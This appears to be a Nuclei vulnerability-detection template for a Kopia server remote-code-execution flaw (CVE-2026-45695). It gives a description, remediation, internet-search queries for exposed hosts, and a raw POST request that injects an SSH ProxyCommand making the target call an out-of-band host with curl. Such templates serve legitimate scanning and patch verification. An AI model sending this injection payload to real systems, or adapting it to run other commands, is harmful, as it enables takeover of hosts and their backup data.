id: CVE-2026-45695 info: name: Kopia Server 0.23.0 - Remote Code Execution author: kenlacroix severity: critical description: | Kopia before version 0.23.0 allows unauthenticated remote code execution when started in server mode with the --without-password flag. When the /api/v1/repo/exists endpoint is exposed, it enables instantiation of the SFTP storage backend with user-supplied sshArguments. Due to improper argument parsing, an attacker may inject arbitrary SSH options such as -oProxyCommand, resulting in execution of arbitrary commands as the server process. impact: | An unauthenticated attacker can execute arbitrary commands as the Kopia server process (often root in a container), leading to full host compromise and access to all managed backup data. remediation: | Upgrade to Kopia 0.23.0 or later, which refuses to bind an unauthenticated server to a non-loopback address. Do not expose the server with --without-password on untrusted networks. reference: - https://github.com/kopia/kopia/security/advisories/GHSA-2q4c-3mrw-63c3 - https://github.com/kopia/kopia/pull/5354 - https://orca.security/resources/blog/kopia-backup-rce-vulnerability/ - https://nvd.nist.gov/vuln/detail/CVE-2026-45695 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-45695 epss-score: 0.0161 epss-percentile: 0.74474 cwe-id: CWE-88 metadata: max-request: 1 vendor: kopia product: kopia shodan-query: http.favicon.hash:952466528 fofa-query: icon_hash=="952466528" tags: cve,cve2026,kopia,rce,ssh,injection,sftp,intrusive http: - raw: - | POST /api/v1/repo/exists HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"storage":{"type":"sftp","config":{"path":"/{{rand_base(6)}}","host":"127.0.0.1","port":22,"username":"{{rand_base(6)}}","externalSSH":true,"sshArguments":"-oProxyCommand=curl${IFS}{{interactsh-url}}"}}} matchers-condition: and matchers: - type: word part: body words: - 'unable to open SFTP storage' - 'error":' condition: and - type: word part: interactsh_protocol words: - "http" - type: word part: interactsh_request words: - 'User-Agent: curl' # digest: 4b0a00483046022100f3f5f70a62bdeb74ed281ad459170a662732a3842ef1a5d3ea2a340015451629022100a4d55e7ae1be98603c69585967965d71e7e9d194b52b03fbf1b5f90f175edbdc:922c64590222798bb761d5b6d8e72950